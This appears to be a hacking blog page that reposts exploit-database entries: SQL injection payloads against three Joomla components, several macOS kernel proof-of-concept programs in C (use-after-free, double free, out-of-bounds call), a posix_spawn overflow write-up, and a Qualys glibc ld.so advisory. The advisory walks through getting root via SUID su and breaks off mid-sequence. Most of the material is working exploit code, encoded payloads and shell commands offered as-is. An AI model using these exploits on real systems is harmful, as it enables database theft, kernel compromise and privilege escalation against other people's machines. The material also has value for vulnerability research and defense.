Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863552982

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# # # # #
# Exploit Title: Joomla! Component JBuildozer 1.4.1 - SQL Injection
# Dork: N/A
# Date: 12.12.2017
# Vendor Homepage: http://jbuildozer.com/
# Software Link: https://extensions.joomla.org/extensions/extension/authoring-a-content/content-construction/jbuildozer/
# Version: 1.4.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_jbuildozer&view=entriessearch&tmpl=component&mode=module&tpl=3&appid=[SQL]
#  
# 1%20%20%2f*!05555Procedure*%2f%20%2f*!05555Analyse*%2f%20%28extractvalue(0%2c%2f*!05555concat*%2f%280x27,0x496873616e2053656e63616e,0x3a,@@version%29%29,0%29%2d%2d%20%2d
# 
# http://server/index.php?option=com_jbuildozer&view=entriessearch&tmpl=component&mode=module&tpl=3&appid=1%20%20%2f*!05555Procedure*%2f%20%2f*!05555Analyse*%2f%20%28extractvalue(0%2c%2f*!05555concat*%2f%280x27,0x496873616e2053656e63616e,0x3a,@@version%29%29,0%29%2d%2d%20%2d
#  
# # # # #
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1377

IOTimeSyncClockManagerUserClient provides the userspace interface for the IOTimeSyncClockManager IOService.

IOTimeSyncClockManagerUserClient overrides the IOUserClient::clientClose method but it treats it like a destructor.
IOUserClient::clientClose is not a destructor and plays no role in the lifetime management of an IOKit object.

It is perfectly possible to call ::clientClose (via io_service_close) in one thread and call an external method in another
thread at the same time.

IOTimeSyncClockManagerUserClient::clientClose drops references on a bunch of OSArrays causing them to be free'd,
it also destroys the locks which are supposed to protect access to those arrays. This leads directly to multiple UaFs
if you also call external methods which manipulate those arrays in other threads.

For an exploit some care would be required to ensure correct interleaving such that the OSArray was destroyed and then
used *before* the lock which is supposed to be protecting the array is also destroyed, but it would be quite possible.

Tested on MacOS 10.13 (17A365) on MacBookAir5,2
*/

// ianbeer
// build: clang -o timesync_uaf timesync_uaf.c -framework IOKit -lpthread
// repro: while true; do ./timesync_uaf; done

#if 0
MacOS multiple kernel UAFs due to incorrect IOKit object lifetime management in IOTimeSyncClockManagerUserClient

IOTimeSyncClockManagerUserClient provides the userspace interface for the IOTimeSyncClockManager IOService.

IOTimeSyncClockManagerUserClient overrides the IOUserClient::clientClose method but it treats it like a destructor.
IOUserClient::clientClose is not a destructor and plays no role in the lifetime management of an IOKit object.

It is perfectly possible to call ::clientClose (via io_service_close) in one thread and call an external method in another
thread at the same time.

IOTimeSyncClockManagerUserClient::clientClose drops references on a bunch of OSArrays causing them to be free'd,
it also destroys the locks which are supposed to protect access to those arrays. This leads directly to multiple UaFs
if you also call external methods which manipulate those arrays in other threads.

For an exploit some care would be required to ensure correct interleaving such that the OSArray was destroyed and then
used *before* the lock which is supposed to be protecting the array is also destroyed, but it would be quite possible.

Tested on MacOS 10.13 (17A365) on MacBookAir5,2
#endif

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pthread.h>

#include <mach/mach.h>

#include <IOKit/IOKitLib.h>

int go = 0;

void* thread_func(void* arg) {
  io_object_t conn = (io_object_t)arg;
  go = 1;

  IOServiceClose(conn);
  return 0;
}

int main(int argc, char** argv){
  kern_return_t err;

  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOTimeSyncClockManager"));

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }

  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }
  
  pthread_t thread;
  pthread_create(&thread, NULL, thread_func, (void*)conn);

  while(!go){;}

  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096];
  size_t inputStructCnt = 0;

  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 1;

  char outputStruct[4096];
  size_t outputStructCnt = 0;
  
  err = IOConnectCallMethod(
    conn,
    1,
    inputScalar,
    inputScalarCnt,
    inputStruct,
    inputStructCnt,
    outputScalar,
    &outputScalarCnt,
    outputStruct,
    &outputStructCnt); 

  printf("%x\n", err);

  return 0;
}
            
posix_spawn is a complex syscall which takes a lot of arguments from userspace. The third argument
is a pointer to a further arguments descriptor in userspace with the following structure (on 32-bit):

  struct user32__posix_spawn_args_desc {
    uint32_t  attr_size;  /* size of attributes block */
    uint32_t  attrp;    /* pointer to block */
    uint32_t  file_actions_size;  /* size of file actions block */
    uint32_t  file_actions;  /* pointer to block */
    uint32_t  port_actions_size;  /* size of port actions block */
    uint32_t  port_actions;  /* pointer to block */
    uint32_t  mac_extensions_size;
    uint32_t  mac_extensions;
    uint32_t  coal_info_size;
    uint32_t  coal_info;
    uint32_t  persona_info_size;
    uint32_t  persona_info;
  }

port_actions then points to another structure in userspace of this type:

  struct _posix_spawn_port_actions {
    int      pspa_alloc;
    int      pspa_count;
    _ps_port_action_t   pspa_actions[];
  }

and finally _ps_port_action_t looks like this:

  struct _ps_port_action {
    pspa_t      port_type;
    exception_mask_t  mask;
    mach_port_name_t  new_port;
    exception_behavior_t  behavior;
    thread_state_flavor_t  flavor;
    int      which;
  }

Note that pspa_actions is a zero-sized array. pspa_count is supposed to be the number of entries
in this array.

The following constraints are checked in posix_spawn in kern_exec.c:

  if (px_args.port_actions_size != 0) {
    /* Limit port_actions to one page of data */
    if (px_args.port_actions_size < PS_PORT_ACTIONS_SIZE(1) ||
        px_args.port_actions_size > PAGE_SIZE) {
      error = EINVAL;
      goto bad;


PS_PORT_ACTIONS_SIZE is defined like this:

  #define  PS_PORT_ACTIONS_SIZE(x)  \
    __offsetof(struct _posix_spawn_port_actions, pspa_actions[(x)])

if port_actions_size passes this then we reach the following code:

  MALLOC(px_spap, _posix_spawn_port_actions_t,
        px_args.port_actions_size, M_TEMP, M_WAITOK);
  if (px_spap == NULL) {
    error = ENOMEM;
    goto bad;
  }

  imgp->ip_px_spa = px_spap;

  if ((error = copyin(px_args.port_actions, px_spap,
                      px_args.port_actions_size)) != 0)
    goto bad;

This allocates a kernel heap buffer to hold the port_actions buffer and copies from userspace into it.

The code then attempts to check whether the pspa_count valid is correct:

  /* Verify that the action count matches the struct size */
  if (PS_PORT_ACTIONS_SIZE(px_spap->pspa_count) != px_args.port_actions_size) {
    error = EINVAL;
    goto bad;
  }

There is an integer overflow here because offsetof is just simple arithmetic. With a carefully chosen
value for pspa_count we can make it very large but when it's passed to the PS_PORT_ACTIONS_SIZE macro
the result is equal to port_actions_size. Nothing bad has happened yet but we can now get pspa_count
to be much larger than it should be.

Later on we reach the following code:

  if (px_spap->pspa_count != 0 && is_adaptive) {
    portwatch_count = px_spap->pspa_count;
    MALLOC(portwatch_ports, ipc_port_t *, (sizeof(ipc_port_t) * portwatch_count), M_TEMP, M_WAITOK | M_ZERO);
  } else {
    portwatch_ports = NULL;
  }

  if ((error = exec_handle_port_actions(imgp, &portwatch_present, portwatch_ports)) != 0)

We can cause another integer overflow here, sizeof(ipc_port_t) is 4 (on 32-bit) so with a carefully chosen value of pspa_count
we can cause the integer overflow here and earlier too whilst still passing the checks.

exec_handle_port_actions then uses portwatch ports like this:

  for (i = 0; i < pacts->pspa_count; i++) {
    act = &pacts->pspa_actions[i];

    if (MACH_PORT_VALID(act->new_port)) {
      kr = ipc_object_copyin(get_task_ipcspace(current_task()),
                             act->new_port, MACH_MSG_TYPE_COPY_SEND,
                             (ipc_object_t *) &port);
...
      switch (act->port_type) {
...
      case PSPA_IMP_WATCHPORTS:
        if (portwatch_ports != NULL && IPC_PORT_VALID(port)) {
         *portwatch_present = TRUE;
        /* hold on to this till end of spawn */
        portwatch_ports[i] = port;


note that pspa_actions was allocated earlier also based on the result of an integer overflow.
This means we can cause an OOB write to portwatch_ports only if we can successfully read suitable valid
values OOB of pspa_actions. That's why this PoC first fills a kalloc.1024 buffer with suitable values before
freeing it and then hoping that it will get reallocated as pspa_actions (but less thatn 1024 bytes will be written)
such that we control what's read OOB and the ipc_object_copyin will succeed.

This seems to be pretty reliable. You can use this to build a nice primitive of a heap overflow with pointers
to ipc_port structures.

I don't believe there are any iOS 11 32-bit iPod/iPhone/iPad/AppleTV devices but the new Apple Watch Series 3
is running essentially the same kernel but has a 32-bit CPU. This PoC is provided as an Apple watch app
and has been tested on Apple Watch Series 3 (Watch3,2) running WatchOS 4.0.1. I also tested on an older 32-bit iOS 9 device.

Apple Watch Series 3 now has its own LTE modem and can be used without an iPhone making it a suitably interesting target for exploitation
by itself.

Note that all the uses of offsetof in those posix_spawn macros are quite wrong, I think you might be able to get
a kernel memory disclosure with one of them also on 64-bit platforms. The fix is to add correct bounds checking.

Please also note that this really shouldn't be attack surface reachable from an app sandbox. The MAC hook in posix_spawn
is very late and there's a *lot* of code which you can hit before it.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43325.zip
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1373

SO_FLOW_DIVERT_TOKEN is a socket option on the SOL_SOCKET layer. It's implemented by

  flow_divert_token_set(struct socket *so, struct sockopt *sopt)

in flow_divert.c.

The relevant code is:

  error = soopt_getm(sopt, &token);
  if (error) {
    goto done;
  }
  
  error = soopt_mcopyin(sopt, token);
  if (error) {
    goto done;
  }

...

done:
  if (token != NULL) {
    mbuf_freem(token);
  }

soopt_getm allocates an mbuf.

soopt_mcopyin, which should copyin the data for the mbuf from userspace, has the following code:

      error = copyin(sopt->sopt_val, mtod(m, char *),
          m->m_len);
      if (error != 0) {
        m_freem(m0);
        return (error);
      }

This means that if the copyin fails, by for example providing an invalid userspace pointer, soopt_mcopyin
will free the mbuf. flow_divert_token_set isn't aware of these semantics and if it sees that soopt_mcopyin
returns an error it also calls mbuf_freem on that same mbuf which soopy_mcopyin already freed.

mbufs are aggressivly cached but with sufficiently full caches m_freem will eventually fall through to freeing
back to a zalloc zone, and that zone could potentially be garbage collected leading to the ability to actually
exploit such an issue.

This PoC will just hit a panic inside m_free when it detects a double-free but do note that this cannot detect
all double frees and this issue is still exploitable with sufficient grooming/cache manipulation.

Tested on MacOS 10.13 (17A365) on MacBookAir5,2
*/

// ianbeer

#if 0
MacOS/iOS kernel double free due to incorrect API usage in flow divert socket option handling

SO_FLOW_DIVERT_TOKEN is a socket option on the SOL_SOCKET layer. It's implemented by

  flow_divert_token_set(struct socket *so, struct sockopt *sopt)

in flow_divert.c.

The relevant code is:

  error = soopt_getm(sopt, &token);
  if (error) {
    goto done;
  }
  
  error = soopt_mcopyin(sopt, token);
  if (error) {
    goto done;
  }

...

done:
  if (token != NULL) {
    mbuf_freem(token);
  }

soopt_getm allocates an mbuf.

soopt_mcopyin, which should copyin the data for the mbuf from userspace, has the following code:

			error = copyin(sopt->sopt_val, mtod(m, char *),
			    m->m_len);
			if (error != 0) {
				m_freem(m0);
				return (error);
			}

This means that if the copyin fails, by for example providing an invalid userspace pointer, soopt_mcopyin
will free the mbuf. flow_divert_token_set isn't aware of these semantics and if it sees that soopt_mcopyin
returns an error it also calls mbuf_freem on that same mbuf which soopy_mcopyin already freed.

mbufs are aggressivly cached but with sufficiently full caches m_freem will eventually fall through to freeing
back to a zalloc zone, and that zone could potentially be garbage collected leading to the ability to actually
exploit such an issue.

This PoC will just hit a panic inside m_free when it detects a double-free but do note that this cannot detect
all double frees and this issue is still exploitable with sufficient grooming/cache manipulation.

Tested on MacOS 10.13 (17A365) on MacBookAir5,2
#endif

#include <stdlib.h>
#include <stdio.h>

#include <sys/socket.h>

int main() {
  int sock = socket(PF_INET, SOCK_DGRAM, 0);
  if (socket < 0) {
    printf("failed to create socket\n");
    return 0;
  }

  printf("socket: %d\n", sock);

  setsockopt(sock, SOL_SOCKET, 0x1106, (void*)424242424242, 100);

  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1375

AppleIntelCapriController::GetLinkConfig trusts a user-supplied value in the structure input which it uses to index
a small table of pointers without bounds checking. The OOB-read pointer is passed to AppleIntelFramebuffer::validateDisplayMode
which will read a pointer to a C++ object from that buffer (at offset 2138h) and call a virtual method allowing trivial kernel code execution.

Tested on MacOS 10.13 (17A365) on MacBookAir5,2
*/

// ianbeer
// build: clang -o capri_link_config capri_link_config.c -framework IOKit

#if 0
MacOS kernel code execution due to lack of bounds checking in AppleIntelCapriController::GetLinkConfig

AppleIntelCapriController::GetLinkConfig trusts a user-supplied value in the structure input which it uses to index
a small table of pointers without bounds checking. The OOB-read pointer is passed to AppleIntelFramebuffer::validateDisplayMode
which will read a pointer to a C++ object from that buffer (at offset 2138h) and call a virtual method allowing trivial kernel code execution.

Tested on MacOS 10.13 (17A365) on MacBookAir5,2
#endif

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <IOKit/IOKitLib.h>

int main(int argc, char** argv){
  kern_return_t err;

  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }

  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }

  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096];
  size_t inputStructCnt = 8;
  //*(uint64_t*)inputStruct = 0x12345678; // crash
  *(uint64_t*)inputStruct = 0x37; // oob call


  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 4096;
  
  err = IOConnectCallMethod(
    conn,
    0x921,  // GetLinkConfig
    inputScalar,
    inputScalarCnt,
    inputStruct,
    inputStructCnt,
    outputScalar,
    &outputScalarCnt,
    outputStruct,
    &outputStructCnt); 

  return 0;
}
            
# # # # #
# Exploit Title: Joomla! Component JEXTN Video Gallery 3.0.5 - SQL Injection
# Dork: N/A
# Date: 13.12.2017
# Vendor Homepage: http://jextn.com/
# Software Link: https://extensions.joomla.org/extensions/extension/multimedia/multimedia-players/jextn-video-gallery/
# Version: 3.0.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_jevideogallery&view=category&id=99[SQL]
#  
# 99%20AND(SELECT%201%20FROM%20(SELECT%20COUNT(*),CONCAT((SELECT(SELECT%20CONCAT(CAST(DATABASE()%20AS%20CHAR)%2c0x7e,0x496873616e53656e63616e))%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20table_schema=DATABASE()%20LIMIT%200,1),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)
# 
# 
# # # # #
            
# # # # #
# Exploit Title: Joomla! Component JEXTN Question And Answer 3.1.0 - SQL Injection
# Dork: N/A
# Date: 13.12.2017
# Vendor Homepage: http://jextn.com/
# Software Link: https://extensions.joomla.org/extensions/extension/communication/question-a-answers/jextn-question-and-answer/
# Version: 3.1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/index.php/en/component/jequestions/?view=tags&an=[SQL]
#  
# %2dVerAyari'%20%2f*!06666UNION*%2f%20%2f*!06666SELECT*/%201%2c(SELECT%20GROUP_CONCAT(table_name%20SEPARATOR%200x3c62723e)%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20TABLE_SCHEMA=DATABASE())%2c3%2c4%2c5%2c6%2c7%2c8%2c9%2c10%2c11%2c12%2c13%2c14%2c15%2c16%2c17%2c18%2c19%2c20%2c21%2c22%2c23%2c24%2c25%2d%2d%20%2d
# 
#  
# 2)
# <html>
# <body>
# <form name="pagination" action="http://localhost/index.php/en/component/jequestions/" method="post">
# <input name="ques-srch" value="1'and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND ''='" type="hidden">
# <button id="que_srch">Ver Ayari</button>
# </form>
# </body>
# </html>
# # # # #
            
Qualys Security Advisory

Buffer overflow in glibc's ld.so


========================================================================
Contents
========================================================================

Summary
Memory Leak
Buffer Overflow
Exploitation
Acknowledgments


========================================================================
Summary
========================================================================

We have discovered a memory leak and a buffer overflow in the dynamic
loader (ld.so) of the GNU C Library (glibc):

- the memory leak (CVE-2017-1000408) first appeared in glibc 2.1.1
  (released on May 24, 1999) and can be reached and amplified through
  the LD_HWCAP_MASK environment variable;

- the buffer overflow (CVE-2017-1000409) first appeared in glibc 2.5
  (released on September 29, 2006) and can be triggered through the
  LD_LIBRARY_PATH environment variable.

Further investigation showed that:

- the buffer overflow is not exploitable if
  /proc/sys/fs/protected_hardlinks is enabled (it is not enabled by
  default on vanilla Linux kernels, but most Linux distributions turn it
  on by default);

- the memory leak and the buffer overflow are not exploitable if the
  glibc is patched against CVE-2017-1000366, because this patch ignores
  the LD_HWCAP_MASK and LD_LIBRARY_PATH environment variables when SUID
  binaries are executed (CVE-2017-1000366 was first patched in glibc
  2.26, released on August 2, 2017, but most Linux distributions had
  already backported this patch on June 19, 2017).

We have therefore rated the impact of these vulnerabilities as Low.
Nevertheless, we give a brief analysis of the vulnerable function, and
present a simple method for exploiting a SUID binary on the command line
and obtaining full root privileges (if /proc/sys/fs/protected_hardlinks
is not enabled, and CVE-2017-1000366 is not patched).


========================================================================
Memory Leak (CVE-2017-1000408)
========================================================================

------------------------------------------------------------------------
Analysis
------------------------------------------------------------------------

In _dl_init_paths(), ld.so malloc()ates "rtld_search_dirs.dirs[0]", a
cache of information about the system's trusted directories (typically
"/lib" and "/usr/lib" on 32-bit or "/lib64" and "/usr/lib64" on 64-bit).
To compute the number of system directories, ld.so uses the classic C
idiom "sizeof (system_dirs) / sizeof (system_dirs[0])":

 691   rtld_search_dirs.dirs[0] = (struct r_search_path_elem *)
 692     malloc ((sizeof (system_dirs) / sizeof (system_dirs[0]))
 693             * round_size * sizeof (struct r_search_path_elem));

Unfortunately, "system_dirs" is not a classic array: it is not an array
of strings (pointers to characters), but rather an array of characters,
the concatenation of all system directories, separated by null bytes:

 109 static const char system_dirs[] = SYSTEM_DIRS;

where "SYSTEM_DIRS" is generated by "gen-trusted-dirs.awk" (typically
"/lib/\0/usr/lib/" on 32-bit or "/lib64/\0/usr/lib64/" on 64-bit). As a
result, the number of system directories is overestimated, and too much
memory is allocated for "rtld_search_dirs.dirs[0]": if "system_dirs" is
"/lib/\0/usr/lib/" for example, the number of system directories is 2,
but 16 is used instead (the number of characters in "system_dirs") to
compute the size of "rtld_search_dirs.dirs[0]".

This extra memory is never accessed, never freed, and mostly filled with
null bytes, because only the information about "nsystem_dirs_len" system
directories (the correct number of system directories) is written to
"rtld_search_dirs.dirs[0]", and because the minimal malloc()
implementation in ld.so calls mmap(), but never munmap().

Moreover, this memory leak can be amplified through the LD_HWCAP_MASK
environment variable, because ld.so uses "ncapstr" (the total number of
hardware-capability combinations) to compute the size of
"rtld_search_dirs.dirs[0]":

 687   round_size = ((2 * sizeof (struct r_search_path_elem) - 1
 688                  + ncapstr * sizeof (enum r_dir_status))
 689                 / sizeof (struct r_search_path_elem));

------------------------------------------------------------------------
History
------------------------------------------------------------------------

We tracked down this vulnerability to:

commit ab7eb292307152e706948a7b19164ff5e6d593d4
Date:   Mon May 3 21:59:35 1999 +0000

    Update.

        * elf/Makefile (trusted-dirs.st): Use gen-trusted-dirs.awk.
        * elf/gen-trusted-dirs.awk: New file.
        * elf/dl-load.c (systems_dirs): Moved into file scope.  Initialize
        from SYSTEM_DIRS macro.
        (system_dirs_len): New variable.  Contains lengths of system_dirs
        strings.
        (fillin_rpath): Rewrite for systems_dirs being a simple string.
        Improve string comparisons.  Change parameter trusted to be a flag.
        Change all callers.
        (_dt_init_paths): Improve using new format for system_dirs.

which transformed "system_dirs" from an array of strings (pointers to
characters) into an array of characters:

-  static const char *system_dirs[] =
-  {
-#include "trusted-dirs.h"
-    NULL
-  };
...
+static const char system_dirs[] = SYSTEM_DIRS;


========================================================================
Buffer Overflow (CVE-2017-1000409)
========================================================================

------------------------------------------------------------------------
Analysis
------------------------------------------------------------------------

In _dl_init_paths(), ld.so computes "nllp", the number of
colon-separated directories in "llp" (the LD_LIBRARY_PATH environment
variable), malloc()ates "env_path_list.dirs", an array of "nllp + 1"
pointers to "r_search_path_elem" structures (one for each directory in
"llp", plus a terminating NULL pointer), and calls fillin_rpath() to
fill in "env_path_list.dirs":

 777   if (llp != NULL && *llp != '\0')
 778     {
 779       size_t nllp;
 780       const char *cp = llp;
 781       char *llp_tmp;
 ...
 803       nllp = 1;
 804       while (*cp)
 805         {
 806           if (*cp == ':' || *cp == ';')
 807             ++nllp;
 808           ++cp;
 809         }
 810 
 811       env_path_list.dirs = (struct r_search_path_elem **)
 812         malloc ((nllp + 1) * sizeof (struct r_search_path_elem *));
 ...
 819       (void) fillin_rpath (llp_tmp, env_path_list.dirs, ":;",
 820                            __libc_enable_secure, "LD_LIBRARY_PATH",
 821                            NULL, l);

Unfortunately, ld.so parses the "llp" string to compute "nllp" but
parses the "llp_tmp" string (an expanded copy of "llp") to fill in
"env_path_list.dirs". As a result, the number of pointers written to
"env_path_list.dirs" can be greater than "nllp + 1" (an mmap()-based
buffer overflow) if the contents of "llp_tmp" differ from the contents
of "llp" (if "llp_tmp" contains more colons than "llp"):

 784       /* Expand DSTs.  */
 785       size_t cnt = DL_DST_COUNT (llp, 1);
 786       if (__glibc_likely (cnt == 0))
 787         llp_tmp = strdupa (llp);
 788       else
 789         {
 790           /* Determine the length of the substituted string.  */
 791           size_t total = DL_DST_REQUIRED (l, llp, strlen (llp), cnt);
 792 
 793           /* Allocate the necessary memory.  */
 794           llp_tmp = (char *) alloca (total + 1);
 795           llp_tmp = _dl_dst_substitute (l, llp, llp_tmp, 1);
 796         }

The Dynamic String Tokens (DSTs) $LIB and $PLATFORM are expanded to
fixed strings that do not contain colons (typically "lib" and "i686" on
32-bit or "lib64" and "x86_64" on 64-bit), but the expansion of $ORIGIN
(the directory of the binary being executed) can inject extra colons
into "llp_tmp" and hence extra pointers into "env_path_list.dirs".

To exploit this buffer overflow, a local attacker must therefore be able
to:

- hard-link a SUID binary into a directory whose pathname contains
  colons (i.e., /proc/sys/fs/protected_hardlinks must not be enabled);

- pass the LD_LIBRARY_PATH environment variable to _dl_init_paths()
  (i.e., CVE-2017-1000366 must not be patched).

------------------------------------------------------------------------
History
------------------------------------------------------------------------

We tracked down this vulnerability to:

commit 950398e1320255572f4228db94344dcd5f613455
Date:   Tue Aug 29 01:44:27 2006 +0000

    * elf/dl-load.c (_dl_init_paths): Expand DSTs.

which added the expansion of llp's Dynamic String Tokens (DSTs) to
_dl_init_paths():

-      char *llp_tmp = strdupa (llp);
+      char *llp_tmp;
...
+      /* Expand DSTs.  */
+      size_t cnt = DL_DST_COUNT (llp, 1);
+      if (__builtin_expect (cnt == 0, 1))
+       llp_tmp = strdupa (llp);
+      else
+       {
+         /* Determine the length of the substituted string.  */
+         size_t total = DL_DST_REQUIRED (l, llp, strlen (llp), cnt);
+
+         /* Allocate the necessary memory.  */
+         llp_tmp = (char *) alloca (total + 1);
+         llp_tmp = _dl_dst_substitute (l, llp, llp_tmp, 1);
+       }


========================================================================
Exploitation
========================================================================

------------------------------------------------------------------------
Debian 9 (i386)
------------------------------------------------------------------------

In this example, we exploit the SUID-root binary "su" on a 32-bit Debian
9.0: we installed "debian-9.0.0-i386-xfce-CD-1.iso" (the last release
before glibc's CVE-2017-1000366 was patched), and manually disabled
protected_hardlinks ("echo 0 > /proc/sys/fs/protected_hardlinks").

1/ First, we identify the system's trusted directories (the only
directories accepted by fillin_rpath() when executing a SUID binary):

$ env -i LD_PRELOAD=nonexistent LD_HWCAP_MASK=0 LD_DEBUG=libs env 2>&1 | head
      1607:     find library=nonexistent [0]; searching
      1607:      search cache=/etc/ld.so.cache
      1607:      search path=/lib/i386-linux-gnu/tls/i686:/lib/i386-linux-gnu/tls:/lib/i386-linux-gnu/i686:/lib/i386-linux-gnu:/usr/lib/i386-linux-gnu/tls/i686:/usr/lib/i386-linux-gnu/tls:/usr/lib/i386-linux-gnu/i686:/usr/lib/i386-linux-gnu:/lib/tls/i686:/lib/tls:/lib/i686:/lib:/usr/lib/tls/i686:/usr/lib/tls:/usr/lib/i686:/usr/lib            (system search path)
      1607:       trying file=/lib/i386-linux-gnu/tls/i686/nonexistent
      1607:       trying file=/lib/i386-linux-gnu/tls/nonexistent
      1607:       trying file=/lib/i386-linux-gnu/i686/nonexistent
      1607:       trying file=/lib/i386-linux-gnu/nonexistent
      1607:       trying file=/usr/lib/i386-linux-gnu/tls/i686/nonexistent
      1607:       trying file=/usr/lib/i386-linux-gnu/tls/nonexistent
      1607:       trying file=/usr/lib/i386-linux-gnu/i686/nonexistent

The "system search path" line shows four system directories:
"/lib/i386-linux-gnu", "/usr/lib/i386-linux-gnu", "/lib", and "/usr/lib"
("tls" and "i686" are default hardware capabilities that are enabled
even if LD_HWCAP_MASK is 0).

2/ Second, we create our $ORIGIN directory and hard-link the SUID-root
binary "su" into it:

$ mkdir -p '/var/tmp/:/lib:/usr/lib:'

$ cd '/var/tmp/:/lib:/usr/lib:'

$ ln `which su` .

The pathname of our $ORIGIN directory contains two system directories:
we will write 12 bytes (3 pointers: one for each system directory, plus
a terminating NULL pointer) to an 8-byte "env_path_list.dirs" ("nllp" is
only 1, because our unexpanded LD_LIBRARY_PATH does not contain colons).
In other words, we will overflow "env_path_list.dirs" and write 4 bytes
(the terminating NULL pointer) out of bounds.

3/ Third, we overwrite this out-of-bounds NULL pointer with the first
bytes of an error message ("cannot open shared object file") that is
malloc()ated after "env_path_list.dirs" because of our "nonexistent"
preload library. Consequently, ld.so crashes when open_path() tries to
open our second preload library "rootshell.so" in a directory described
by an "r_search_path_elem" structure located at the unmapped address
0x6e6e6163 (the overwritten NULL pointer):

$ env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
Segmentation fault

$ dmesg | tail -n 1
[70632.888695] su[2293]: segfault at 6e6e6173 ip b77e1c43 sp bfc946dc error 4 in ld-2.24.so[b77db000+22000]

The "/../../../../../../../../$LIB" suffix is required, to pass the
"check_for_trusted" test in _dl_dst_substitute() (our expanded
LD_LIBRARY_PATH must be rooted in one of the system's trusted
directories).

4/ Next, we copy the library dependencies of "su" to our current working
directory, and compile our preload library "rootshell.so" ("la.c" can be
found at the beginning of our stack-clash exploit "Linux_ldso_hwcap.c"):

$ cp -- `ldd ./su | grep ' => /' | awk '{print $3}'` .

$ cat > la.c << "EOF"
> static void __attribute__ ((constructor)) _init (void) {
>     ...
>     // setuid(0);
>     ...
>     // execve("/bin/sh");
>     ...
> }
> EOF
$ gcc -fpic -shared -nostdlib -Os -s -o rootshell.so la.c

$ chmod u+s rootshell.so

This "chmod" is required, to pass the SUID-bit test in open_path().

5/ Last, we run "su" with an increasing number of hardware capabilities
(i.e., with an increasingly large "rtld_search_dirs.dirs[0]"), until the
"rtld_search_dirs.dirs[0]" occupies the address 0x6e6e6163. Because this
"rtld_search_dirs.dirs[0]" is mostly filled with null bytes, and because
an "r_search_path_elem" structure filled with null bytes is equivalent
to the current working directory in open_path(), ld.so will eventually
load and execute our "rootshell.so" from the current working directory:

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<16)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
Segmentation fault

real    0m0.715s
user    0m0.120s
sys     0m0.588s

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<17)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
Segmentation fault

real    0m1.443s
user    0m0.368s
sys     0m1.072s

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<18)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
Segmentation fault

real    0m2.840s
user    0m0.656s
sys     0m2.172s

...

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<23)-1))" ./su
